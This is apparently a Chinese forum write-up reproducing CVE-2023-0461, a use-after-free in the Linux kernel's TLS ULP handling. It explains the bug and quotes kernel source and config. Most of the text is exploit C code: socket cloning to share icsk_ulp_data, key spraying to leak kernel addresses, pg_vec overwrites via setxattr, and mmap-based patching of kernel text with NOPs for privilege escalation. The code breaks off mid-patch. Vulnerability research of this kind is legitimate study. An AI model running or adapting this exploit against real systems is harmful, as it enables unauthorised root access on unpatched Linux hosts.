首页
社区
课程
招聘
[原创]CVE-2023-0461复现笔记
发表于: 2024-8-28 14:09 4390

[原创]CVE-2023-0461复现笔记

2024-8-28 14:09
4390

1724824496293

commit:2c85ebc57b3e1817b6ce1a6b703928e113a90442

总的config:

defconfig+menuconfig

(同样是修改了objtool的一个代码)

1724824521854

Linux 内核在处理 icsk->icsk_ulp_data 指针时存在错误导致 UAF,

源代码:

1723358867449

1723358885112

1723358904332

1723358913125

如果 socket 设置 ulp 后进入 listen 状态,然后有其他 socket 发起 connect 系统调用请求连接,新创建的 sk 对象会拷贝 icsk->icsk_ulp_data 指针,相关代码位于 如下:

1723360219841

根据 tcp_prot 的定义,在 sock_copy 通过 memcpy 拷贝 后面的成员时就会拷贝 icsk->icsk_ulp_data ,==漏洞的关键点是对象指针拷贝后没有使用引用计数管理,释放其中一个指针就会导致悬垂指针的产生==。

1723365856830

1723365902280

也就是说,在服务端,建立一个套接字并bind、listen,最后accept,服务端是知道自己的套接字描述符的,然后客户端也简历一个套接字,通过connect连接服务端,但是此时服务端是不知道对面的套接字描述符的,或者说没有用,因为对面的套接字的文件描述符只是客户端进程的,对服务端进程来说没有意义,所以服务端要通过accept生成一个新的套接字,通过这个套接字代表CS之间的连接。

1723366082596

对照GitHub上的脚本复现,发现要想成功连接,需要创建一个namespace,同时还需要使用配置相关网络接口,这里使用GitHub中给出的net_if函数以及netlink_utils.h头文件进行配置:

具体的解释看gpt所述:

1723440630237

1723443650966

1723443697498

所以就是先建立一个连接,然后才能给client设置ULP;

之后要将这个client connect一个地址(但是并没有创建套接字),之后才能给client绑定一个地址;

然后创建一个新的套接字去连接这个client,然后client accept,返回的文件描述符和client拥有相同的ULP;

1723449840186

对于我们的ulp_data,可能我们虽然close了,但是由于RCU宽限期的原因,可能要等一段时间之后才嗯那个真的释放obj;

这个UAF洞的利用很巧妙,close之后会有一些列操作,如果此时的obj已经被我们覆盖了,那么很可能会出错,但是如果是正常的就不会错,然后到了kfree之前会有这个RCU宽限期,在这个宽限期我们UAF写,然后kfree,就没错。

笔者得到的错误:

Invalid argument;

这是在笔者使用setxattr修改了gp_vec之后就会发生这个报错,但是如果不进行修改,就不会发生这个错误;笔者考虑到了可能是笔者写多了的缘故,但是笔者将64个地址改成了33个地址还是出错了;

1723471191330

经过调试发现mmap之前并没有因为setxattr释放了的缘故而导致地址发生改变

1723471277365

发生了空指针解引用;

手动set一个地址:

1723471430735

1723471456108

可以看到成功了;

最终找到了解决方案:利用前面读内核密钥泄露的上一个pg_vec的指针,作为setxattr的内容去写新的pg_vec,然后只修改它的第一个指针为我们的目标地址即可;

目前来看推测page_offset_base,只能先保留高32位,然后逐步-0x100000000来命中了,这个很不稳定;

1723474300461

成功leak!

教程:

一定要搜函数__sys_setresuid,笔者就是漏了前面的两个下划线,找了半天。。。

1723527352911

这个跳转要干掉:

1723528008933

后边还有个问题就是内存被破坏了,system起不来,经过调试发现是在kfree崩了,具体原因不详,因此笔者索性就用USMA把kfree函数的第一个字节patch成0xc3,直接退出好了;

似乎内核密钥被释放掉之后会有内核地址被写入,这个笔者之前学过,没复现成功,没想到在这里给解决了。

这里相当于是那个滞后的free给我们把内核密钥释放了,然后反而帮我们泄露了内核地址了;

1723536911090

内核密钥被释放之后会得到如下内存布局,此后如果能够通过UAF读出来的第一个64位内容就是一个内核代码段地址;(笔者的内核密钥是被一个ulp结构体给释放的,竟然也会有这个字段)

首先是RCU宽限期的等待时间需要稍微改正,然后就是这次笔者将pg_veg中依次写入达大量内核代码段地址之后mmap成功,最终实现提权:

demo

1723636832939

1723546962256

1723547001192

要创建namespace和激活端口才能正确进行connect;

ULP的设置要在建立连接之后;

新地址的绑定还要先connect一下?

RCU宽限期

https://elixir.bootlin.com/linux/v5.10/source/net/ipv4/tcp_ulp.c#L150

CVE-2023-0461 Linux 内核 UAF 漏洞分析与漏洞利用解读-CSDN博客

CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
CONFIG_NET_SCHED=y
CONFIG_DEBUG_INFO=y
CONFIG_USER_NS=y   #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_TLS=y        #漏洞触发必要选项
CONFIG_XFRM_ESPINTCP=y #漏洞触发必要选项,二者选其一
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y
CONFIG_NET_SCHED=y
CONFIG_DEBUG_INFO=y
CONFIG_USER_NS=y   #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_TLS=y        #漏洞触发必要选项
CONFIG_XFRM_ESPINTCP=y #漏洞触发必要选项,二者选其一
https://elixir.bootlin.com/linux/v5.10/source/net/ipv4/tcp_ulp.c#L150
https://elixir.bootlin.com/linux/v5.10/source/net/ipv4/tcp_ulp.c#L150
https://elixir.bootlin.com/linux/v5.10/source/net/core/sock.c#L1857
https://elixir.bootlin.com/linux/v5.10/source/net/core/sock.c#L1857
struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority)
{
    struct proto *prot = READ_ONCE(sk->sk_prot);
    struct sock *newsk;
    bool is_charged = true;
 
    newsk = sk_prot_alloc(prot, priority, sk->sk_family);
    if (newsk != NULL) {
        struct sk_filter *filter;
 
        sock_copy(newsk, sk);
 
        newsk->sk_prot_creator = prot;
 
        /* SANITY */
        if (likely(newsk->sk_net_refcnt))
            get_net(sock_net(newsk));
        sk_node_init(&newsk->sk_node);
        sock_lock_init(newsk);
        bh_lock_sock(newsk);
        newsk->sk_backlog.head   = newsk->sk_backlog.tail = NULL;
        newsk->sk_backlog.len = 0;
 
        atomic_set(&newsk->sk_rmem_alloc, 0);
        /*
         * sk_wmem_alloc set to one (see sk_free() and sock_wfree())
         */
        refcount_set(&newsk->sk_wmem_alloc, 1);
        atomic_set(&newsk->sk_omem_alloc, 0);
        sk_init_common(newsk);
 
        newsk->sk_dst_cache  = NULL;
        newsk->sk_dst_pending_confirm = 0;
        newsk->sk_wmem_queued    = 0;
        newsk->sk_forward_alloc = 0;
        atomic_set(&newsk->sk_drops, 0);
        newsk->sk_send_head  = NULL;
        newsk->sk_userlocks  = sk->sk_userlocks & ~SOCK_BINDPORT_LOCK;
        atomic_set(&newsk->sk_zckey, 0);
 
        sock_reset_flag(newsk, SOCK_DONE);
 
        /* sk->sk_memcg will be populated at accept() time */
        newsk->sk_memcg = NULL;
 
        cgroup_sk_clone(&newsk->sk_cgrp_data);
 
        rcu_read_lock();
        filter = rcu_dereference(sk->sk_filter);
        if (filter != NULL)
            /* though it's an empty new sock, the charging may fail
             * if sysctl_optmem_max was changed between creation of
             * original socket and cloning
             */
            is_charged = sk_filter_charge(newsk, filter);
        RCU_INIT_POINTER(newsk->sk_filter, filter);
        rcu_read_unlock();
 
        if (unlikely(!is_charged || xfrm_sk_clone_policy(newsk, sk))) {
            /* We need to make sure that we don't uncharge the new
             * socket if we couldn't charge it in the first place
             * as otherwise we uncharge the parent's filter.
             */
            if (!is_charged)
                RCU_INIT_POINTER(newsk->sk_filter, NULL);
            sk_free_unlock_clone(newsk);
            newsk = NULL;
            goto out;
        }
        RCU_INIT_POINTER(newsk->sk_reuseport_cb, NULL);
 
        if (bpf_sk_storage_clone(sk, newsk)) {
            sk_free_unlock_clone(newsk);
            newsk = NULL;
            goto out;
        }
 
        /* Clear sk_user_data if parent had the pointer tagged
         * as not suitable for copying when cloning.
         */
        if (sk_user_data_is_nocopy(newsk))
            newsk->sk_user_data = NULL;
 
        newsk->sk_err       = 0;
        newsk->sk_err_soft = 0;
        newsk->sk_priority = 0;
        newsk->sk_incoming_cpu = raw_smp_processor_id();
        if (likely(newsk->sk_net_refcnt))
            sock_inuse_add(sock_net(newsk), 1);
 
        /*
         * Before updating sk_refcnt, we must commit prior changes to memory
         * (Documentation/RCU/rculist_nulls.rst for details)
         */
        smp_wmb();
        refcount_set(&newsk->sk_refcnt, 2);
 
        /*
         * Increment the counter in the same struct proto as the master
         * sock (sk_refcnt_debug_inc uses newsk->sk_prot->socks, that
         * is the same as sk->sk_prot->socks, as this field was copied
         * with memcpy).
         *
         * This _changes_ the previous behaviour, where
         * tcp_create_openreq_child always was incrementing the
         * equivalent to tcp_prot->socks (inet_sock_nr), so this have
         * to be taken into account in all callers. -acme
         */
        sk_refcnt_debug_inc(newsk);
        sk_set_socket(newsk, NULL);
        sk_tx_queue_clear(newsk);
        RCU_INIT_POINTER(newsk->sk_wq, NULL);
 
        if (newsk->sk_prot->sockets_allocated)
            sk_sockets_allocated_inc(newsk);
 
        if (sock_needs_netstamp(sk) &&
            newsk->sk_flags & SK_FLAGS_TIMESTAMP)
            net_enable_timestamp();
    }
out:
    return newsk;
}
EXPORT_SYMBOL_GPL(sk_clone_lock);
struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority)
{
    struct proto *prot = READ_ONCE(sk->sk_prot);
    struct sock *newsk;
    bool is_charged = true;
 
    newsk = sk_prot_alloc(prot, priority, sk->sk_family);
    if (newsk != NULL) {
        struct sk_filter *filter;
 
        sock_copy(newsk, sk);
 
        newsk->sk_prot_creator = prot;
 
        /* SANITY */
        if (likely(newsk->sk_net_refcnt))
            get_net(sock_net(newsk));
        sk_node_init(&newsk->sk_node);
        sock_lock_init(newsk);
        bh_lock_sock(newsk);
        newsk->sk_backlog.head   = newsk->sk_backlog.tail = NULL;
        newsk->sk_backlog.len = 0;
 
        atomic_set(&newsk->sk_rmem_alloc, 0);
        /*
         * sk_wmem_alloc set to one (see sk_free() and sock_wfree())
         */
        refcount_set(&newsk->sk_wmem_alloc, 1);
        atomic_set(&newsk->sk_omem_alloc, 0);
        sk_init_common(newsk);
 
        newsk->sk_dst_cache  = NULL;
        newsk->sk_dst_pending_confirm = 0;
        newsk->sk_wmem_queued    = 0;
        newsk->sk_forward_alloc = 0;
        atomic_set(&newsk->sk_drops, 0);
        newsk->sk_send_head  = NULL;
        newsk->sk_userlocks  = sk->sk_userlocks & ~SOCK_BINDPORT_LOCK;
        atomic_set(&newsk->sk_zckey, 0);
 
        sock_reset_flag(newsk, SOCK_DONE);
 
        /* sk->sk_memcg will be populated at accept() time */
        newsk->sk_memcg = NULL;
 
        cgroup_sk_clone(&newsk->sk_cgrp_data);
 
        rcu_read_lock();
        filter = rcu_dereference(sk->sk_filter);
        if (filter != NULL)
            /* though it's an empty new sock, the charging may fail
             * if sysctl_optmem_max was changed between creation of
             * original socket and cloning
             */
            is_charged = sk_filter_charge(newsk, filter);
        RCU_INIT_POINTER(newsk->sk_filter, filter);
        rcu_read_unlock();
 
        if (unlikely(!is_charged || xfrm_sk_clone_policy(newsk, sk))) {
            /* We need to make sure that we don't uncharge the new
             * socket if we couldn't charge it in the first place
             * as otherwise we uncharge the parent's filter.
             */
            if (!is_charged)
                RCU_INIT_POINTER(newsk->sk_filter, NULL);
            sk_free_unlock_clone(newsk);
            newsk = NULL;
            goto out;
        }
        RCU_INIT_POINTER(newsk->sk_reuseport_cb, NULL);
 
        if (bpf_sk_storage_clone(sk, newsk)) {
            sk_free_unlock_clone(newsk);
            newsk = NULL;
            goto out;
        }
 
        /* Clear sk_user_data if parent had the pointer tagged
         * as not suitable for copying when cloning.
         */
        if (sk_user_data_is_nocopy(newsk))
            newsk->sk_user_data = NULL;
 
        newsk->sk_err       = 0;
        newsk->sk_err_soft = 0;
        newsk->sk_priority = 0;
        newsk->sk_incoming_cpu = raw_smp_processor_id();
        if (likely(newsk->sk_net_refcnt))
            sock_inuse_add(sock_net(newsk), 1);
 
        /*
         * Before updating sk_refcnt, we must commit prior changes to memory
         * (Documentation/RCU/rculist_nulls.rst for details)
         */
        smp_wmb();
        refcount_set(&newsk->sk_refcnt, 2);
 
        /*
         * Increment the counter in the same struct proto as the master
         * sock (sk_refcnt_debug_inc uses newsk->sk_prot->socks, that
         * is the same as sk->sk_prot->socks, as this field was copied
         * with memcpy).
         *
         * This _changes_ the previous behaviour, where
         * tcp_create_openreq_child always was incrementing the
         * equivalent to tcp_prot->socks (inet_sock_nr), so this have
         * to be taken into account in all callers. -acme
         */
        sk_refcnt_debug_inc(newsk);
        sk_set_socket(newsk, NULL);
        sk_tx_queue_clear(newsk);
        RCU_INIT_POINTER(newsk->sk_wq, NULL);
 
        if (newsk->sk_prot->sockets_allocated)
            sk_sockets_allocated_inc(newsk);
 
        if (sock_needs_netstamp(sk) &&
            newsk->sk_flags & SK_FLAGS_TIMESTAMP)
            net_enable_timestamp();
    }
out:
    return newsk;
}
EXPORT_SYMBOL_GPL(sk_clone_lock);
#include "netlink_utils.h"
 
#define ADD_LINK  RTM_NEWLINK
#define DEL_LINK  RTM_DELLINK
#define FLUSH     RTM_GETLINK
#define ADD_ADDR  RTM_NEWADDR
#define DEL_ADDR  RTM_DELADDR
#define ADD_QDISC RTM_NEWQDISC
#define DEL_QDISC RTM_DELQDISC
#define ADD_CLASS RTM_NEWTCLASS
#define DEL_CLASS RTM_DELTCLASS
 
#define N_NET_INTERFACES 0x1800
 
int net_if(int action, char *type, int n, int opt, bool change) {
 
    struct nlmsghdr *msg;
    struct nlattr *opts;
    struct ifinfomsg ifinfo = {};
    struct ifaddrmsg ifaddr = {};
    char name[0x100] = { 0 };
    int sk;
 
    strcpy(name, type);
 
    if (n >= 0)
        snprintf(name, sizeof(name), "%s-%d", type, n);
 
    // Initalize a netlink socket and allocate a nlmsghdr
    sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
    if (!sk) {
        perror("nl_init_request()");
        return -1;
    }
 
    switch (action) {
        case ADD_LINK:
        case DEL_LINK:
 
            ifinfo.ifi_family = AF_UNSPEC;
            ifinfo.ifi_type = PF_NETROM;
            ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
            ifinfo.ifi_flags = opt;
            ifinfo.ifi_change = change ? 1 : 0;
 
            nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);
 
            if (action == ADD_LINK) {
                // Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
                // (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
                // This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
                nla_put_u32(msg, IFLA_MTU, 1000);
                nla_put_string(msg, IFLA_IFNAME, name);
                opts = nla_nest_start(msg, IFLA_LINKINFO);
                nla_put_string(msg, IFLA_INFO_KIND, type);
                nla_nest_end(msg, opts);
            }
 
            break;
 
        case ADD_ADDR:
        case DEL_ADDR:
 
            ifaddr.ifa_family = AF_INET;
            ifaddr.ifa_prefixlen = 16;
            ifaddr.ifa_flags = 0;
            ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
            ifaddr.ifa_index = if_nametoindex(name);
 
            nlmsg_append(msg, &ifaddr, sizeof(ifaddr), NLMSG_ALIGNTO);
            nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
            nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
 
            break;
    }
    // Send the netlink message and deallocate resources
    return nl_complete_request(sk, msg);
}
 
int setup_sandbox(void)
{
    if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
        perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)");
        return -1;
    }
    net_if(ADD_LINK, "lo", -1, IFF_UP, true);
    return 0;
}
 
int main(void)
{
    setup_sandbox();
     
}
#include "netlink_utils.h"
 
#define ADD_LINK  RTM_NEWLINK
#define DEL_LINK  RTM_DELLINK
#define FLUSH     RTM_GETLINK
#define ADD_ADDR  RTM_NEWADDR
#define DEL_ADDR  RTM_DELADDR
#define ADD_QDISC RTM_NEWQDISC
#define DEL_QDISC RTM_DELQDISC
#define ADD_CLASS RTM_NEWTCLASS
#define DEL_CLASS RTM_DELTCLASS
 
#define N_NET_INTERFACES 0x1800
 
int net_if(int action, char *type, int n, int opt, bool change) {
 
    struct nlmsghdr *msg;
    struct nlattr *opts;
    struct ifinfomsg ifinfo = {};
    struct ifaddrmsg ifaddr = {};
    char name[0x100] = { 0 };
    int sk;
 
    strcpy(name, type);
 
    if (n >= 0)
        snprintf(name, sizeof(name), "%s-%d", type, n);
 
    // Initalize a netlink socket and allocate a nlmsghdr
    sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
    if (!sk) {
        perror("nl_init_request()");
        return -1;
    }
 
    switch (action) {
        case ADD_LINK:
        case DEL_LINK:
 
            ifinfo.ifi_family = AF_UNSPEC;
            ifinfo.ifi_type = PF_NETROM;
            ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
            ifinfo.ifi_flags = opt;
            ifinfo.ifi_change = change ? 1 : 0;
 
            nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);
 
            if (action == ADD_LINK) {
                // Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
                // (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
                // This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
                nla_put_u32(msg, IFLA_MTU, 1000);
                nla_put_string(msg, IFLA_IFNAME, name);
                opts = nla_nest_start(msg, IFLA_LINKINFO);
                nla_put_string(msg, IFLA_INFO_KIND, type);
                nla_nest_end(msg, opts);
            }
 
            break;
 
        case ADD_ADDR:
        case DEL_ADDR:
 
            ifaddr.ifa_family = AF_INET;
            ifaddr.ifa_prefixlen = 16;
            ifaddr.ifa_flags = 0;
            ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
            ifaddr.ifa_index = if_nametoindex(name);
 
            nlmsg_append(msg, &ifaddr, sizeof(ifaddr), NLMSG_ALIGNTO);
            nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
            nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
 
            break;
    }
    // Send the netlink message and deallocate resources
    return nl_complete_request(sk, msg);
}
 
int setup_sandbox(void)
{
    if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
        perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)");
        return -1;
    }
    net_if(ADD_LINK, "lo", -1, IFF_UP, true);
    return 0;
}
 
int main(void)
{
    setup_sandbox();
     
}
https://tttang.com/archive/1706/
https://tttang.com/archive/1706/
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-0461/vmlinux" -ex "c"
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-0461/vmlinux" -ex "c"
p ((struct inet_connection_sock *) osk)->icsk_ulp_data
p ((struct inet_connection_sock *) osk)->icsk_ulp_data
b user_preparse
b user_preparse
#define _GNU_SOURCE
 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sched.h>
#include <fcntl.h>
#include <string.h>
#include <byteswap.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/tls.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
 
#include "netlink_utils.h"
 
#define ADD_LINK  RTM_NEWLINK
#define DEL_LINK  RTM_DELLINK
#define FLUSH     RTM_GETLINK
#define ADD_ADDR  RTM_NEWADDR
#define DEL_ADDR  RTM_DELADDR
#define ADD_QDISC RTM_NEWQDISC
#define DEL_QDISC RTM_DELQDISC
#define ADD_CLASS RTM_NEWTCLASS
#define DEL_CLASS RTM_DELTCLASS
 
#define N_NET_INTERFACES 0x1800
 
int tls1, tls2, tls3, tls4;
 
int net_if(int action, char *type, int n, int opt, bool change);
 
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
//CPU绑核
void bindCore(int core)
{
    cpu_set_t cpu_set;
 
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
 
int setup_sandbox(void)
{
    if (unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET) < 0) {
        perror("unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET)");
        return -1;
    }
    net_if(ADD_LINK, "lo", -1, IFF_UP, true);
 
    char edit[0x200];
    int tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);
 
    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
 
    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
    return 0;
}
 
 
int net_if(int action, char *type, int n, int opt, bool change) {
 
    struct nlmsghdr *msg;
    struct nlattr *opts;
    struct ifinfomsg ifinfo = {};
    struct ifaddrmsg ifaddr = {};
    char name[0x100] = { 0 };
    int sk;
 
    strcpy(name, type);
 
    if (n >= 0)
        snprintf(name, sizeof(name), "%s-%d", type, n);
 
    // Initalize a netlink socket and allocate a nlmsghdr
    sk = nl_init_request(action, &msg, NLM_F_REQUEST|NLM_F_CREATE);
    if (!sk) {
        perror("nl_init_request()");
        return -1;
    }
 
    switch (action) {
        case ADD_LINK:
        case DEL_LINK:
 
            ifinfo.ifi_family = AF_UNSPEC;
            ifinfo.ifi_type = PF_NETROM;
            ifinfo.ifi_index = (action == DEL_LINK) ? if_nametoindex(name) : 0;
            ifinfo.ifi_flags = opt;
            ifinfo.ifi_change = change ? 1 : 0;
 
            nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);
 
            if (action == ADD_LINK) {
                // Setting the MTU below IPV6_MIN_MTU, ipv6 is disabled
                // (https://elixir.bootlin.com/linux/v6.1/source/net/ipv6/addrconf.c#L3537)
                // This way we can get rid of an annoying timer that periodically calls qdisc->enqueue()
                nla_put_u32(msg, IFLA_MTU, 1000);
                nla_put_string(msg, IFLA_IFNAME, name);
                opts = nla_nest_start(msg, IFLA_LINKINFO);
                nla_put_string(msg, IFLA_INFO_KIND, type);
                nla_nest_end(msg, opts);
            }
 
            break;
 
        case ADD_ADDR:
        case DEL_ADDR:
 
            ifaddr.ifa_family = AF_INET;
            ifaddr.ifa_prefixlen = 16;
            ifaddr.ifa_flags = 0;
            ifaddr.ifa_scope = RT_SCOPE_UNIVERSE;
            ifaddr.ifa_index = if_nametoindex(name);
 
            nlmsg_append(msg, &ifaddr, sizeof(ifaddr), NLMSG_ALIGNTO);
            nla_put_u32(msg, IFA_LOCAL, __bswap_32(opt + n));
            nla_put_u32(msg, IFA_ADDRESS, __bswap_32(opt + n));
 
            break;
    }
    // Send the netlink message and deallocate resources
    return nl_complete_request(sk, msg);
}
 
int tls1, tls2;
int set_ulp(int port){
    struct sockaddr_in addr;
    socklen_t len = sizeof(addr);
    int tls, s, s2;
 
    tls = socket(AF_INET, SOCK_STREAM, 0);
    s = socket(AF_INET, SOCK_STREAM, 0);
 
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = INADDR_ANY;
    addr.sin_port = htons(port);
 
    // Put the socket into ESTABLISHED state
    if(bind(s, &addr, sizeof(addr)) < 0){
        perror("bind");
        exit(-1);
    }
 
    if(listen(s, 0) < 0){
        perror("listen");
        exit(-1);
    }
 
    if(connect(tls, &addr, sizeof(addr)) < 0){
        perror("connect");
        exit(-1);
    }
 
    // Initialize TLS ULP
    if(setsockopt(tls, SOL_TCP, TCP_ULP, "tls", sizeof("tls")) < 0){
        perror("set ulp");
    }
 
    return tls;
}
 
int clone_tls(int tls, int port){
    struct sockaddr_in addr;
    socklen_t len = sizeof(addr);
    int s, new;
 
    s = socket(AF_INET, SOCK_STREAM, 0);
 
 
    // Disconnect the input socket `sk`
    addr.sin_family = AF_UNSPEC;
    addr.sin_addr.s_addr = INADDR_ANY;
    addr.sin_port = htons(port);
 
    connect(tls, &addr, sizeof(addr)); //为什么要先连接一下才能bind?
 
    // Listen on `sk` (This should not happen!)
    addr.sin_family = AF_INET;
    if(bind(tls, &addr, sizeof(addr)) < 0){
        perror("bind2");
        exit(-1);
    }
    if(listen(tls, 0) < 0){
        perror("listen2");
        exit(-1);
    }
    if(connect(s, &addr, sizeof(addr)) < 0 ){
        perror("connect2");
        exit(-1);
    }
 
    // Clone icsk_ulp_data
    new = accept(tls, &addr, &len);
 
    // Now the input socket `sk` and `new`
    // share the same icsk_ulp_data pointer
    return new;
}
 
#include "key.h"
#define TOTAL_KEYS 60
int kids[TOTAL_KEYS];
void spray_key(int times, int len){
    char des[0x100];
    memset(des, 0, sizeof(des));
    char pay[0x200];
    memset(pay, 0, sizeof(pay));
    for(int i = 0; i < TOTAL_KEYS && i < times; i++){
        memset(des, 'A'+i, 0x80);
        memset(pay, 'a'+i, len);
        kids[i] = key_alloc(des, pay, len);
        printf("kid_%d == %d\n", i, kids[i]);
    }
}
 
#include <sys/types.h>
#include <sys/xattr.h>
 
void spray_attr(int times, int size){
    const char *path = "/path/to/file";
    const char *name = "user.attribute";
    const char *value = "value";
    int flags = 0; // 可以是 XATTR_CREATE 或 XATTR_REPLACE
 
    for(int i = 0; i < times; i++){
        setxattr(path, name, value, size, flags);
    }
}
 
size_t data[0x20000];
int pipe_kernel[2];
 
#include "pg_vec.h"
void child(){
    size_t kernel_offset_base;
    unshare_setup();
    puts("here child");
    char cmd[4];
    read(pipe_kernel[0], &kernel_offset_base, 8);
    puts("end2");
     
}
int get_one_key(char des_chr, char pay_chr, int len){
    char des[0x100];
    memset(des, 0, sizeof(des));
    memset(des, des_chr, 0x80);
    char pay[0x400];
    memset(pay, 0, sizeof(pay));
    memset(pay, pay_chr, len);
    return key_alloc(des, pay, len);
}
size_t data2[0x10000];
#define print_init_cred() \
    printf("%p\n", init_cred); \
    puts("hello")
 
#define mov_rdi_init_cred(con) \
    memcpy(con, "\x48\xbf", 2);\
    memcpy(con+2, &init_cred)
 
 
size_t ker_base[0x20000];
int main(void)
{  
    size_t kernel_offset_base;
    bindCore(0);
    save_status();
    unshare_setup();
    net_if(ADD_LINK, "lo", -1, IFF_UP, true);
 
    tls1 = set_ulp(1111);
    tls2 = clone_tls(tls1, 1112);
    printf("tls1 == %d, tls2 == %d\n", tls1, tls2);
 
    tls3 = set_ulp(1113);
    tls4 = clone_tls(tls3, 1114);
    printf("tls3 == %d, tls4 == %d\n", tls3, tls4);
 
    close(tls1);
    puts("sleeping ... ");
    sleep(3);
    close(tls2);
    puts("sleeping ... ");
    sleep(3);
    spray_key(1, 0x100);
    size_t data[0x1000];
    puts("spray key done");
    getchar();
 
     
    int key_len = key_read(kids[0], ker_base, 0x20000);
    ker_base[0] -= 0xffffffff820464c0;
 
    int pfd = pagealloc_pad(33, 0x1000);
    printf("pfd == %d\n", pfd);
 
    key_len = key_read(kids[0], data, 0x20000);
    printf("key_len == %d\n", key_len);
    for(int i = 0; i < 0x100; i++){
        if(data[i] >= 0xffff888000000000 && data[i] <= 0xfffffff000000000){
            printf("data -> %p\n", (void *)data[i]);
            kernel_offset_base = data[i] & 0xfffffff000000000;
            break;
        }
         
    }
    printf("kernel_offset_base == %p\n", (void *)kernel_offset_base);
    getchar();
     
    close(tls3);
    puts("sleeping ... ");
    sleep(3);
    close(tls4);
    puts("sleeping ... ");
    sleep(3);
 
    pfd = pagealloc_pad(33, 0x1000);
    printf("pfd == %d\n", pfd);
 
    for(int i = 0; i < 34; i++){
        printf("data-> %p\n", (void *)data[i]);
    }
     
    for(int i = 0; i < 3; i++){
        data2[i] = data[i] + 0x3000;
    }
    memcpy(data2+3, data, 30*8);
    data2[0] = kernel_offset_base;
     
    const char *path = "/test";
    const char *name = "user.attribute";
    const char *value = data2;
    size_t size = 0x200;
    int flags = 0; // 可以是 XATTR_CREATE 或 XATTR_REPLACE
 
    puts("before setxattr");
    getchar();
 
    int result ;
    result = setxattr(path, name, value, size, flags);
    if (result == -1) {
        perror("setxattr");
        //return 1;
    }
 
    puts("before mmap");
    //getchar();
    size_t *page = 0LL;
    //if (page == MAP_FAILED) {
        //perror("mmap");
        //exit(-1);
    //}
    printf("page == %p\n", (void *)page);
     
    data2[0] += 0x9d000;
    result = setxattr(path, name, value, size, flags);
    if (result == -1) {
        perror("setxattr");
        //return 1;
    }
    if (page == MAP_FAILED) {
        perror("mmap");
        //exit(-1);
    }
    printf("page == %p\n", (void *)page);
     
    size_t kbase = 0xffffffff81000040;
    printf("kbase == %p\n", (void *)kbase);
    size_t init_cred = ker_base[0] + 0xffffffff8244c6c0;
 
//================================================== patch kernel ============================================================
    data2[0] = ker_base[0] + 0xffffffff8107a000;
    result = setxattr(path, name, value, size, flags);
    if (result == -1) {
        perror("setxattr");
        //return 1;
    }
    page = mmap(NULL, 0x1000*33, PROT_READ|PROT_WRITE, MAP_SHARED, pfd, 0); //mmap的size要和addr对齐
    if (page == MAP_FAILED) {
        perror("mmap");
        //exit(-1);
    }
    char *p = (char *)page;
    printf("page == %p\n", (void *)page);
    memset(p+0xace, 0x90, 6);
    memset(p+0xad7, 0x90, 2);
    memset(p+0xade, 0x90, 6);
    memset(p+0xae8, 0x90, 2);
    memset(p+0xaee, 0x90, 6);
 
    memset(p+0xbbb, 0x90, 2);
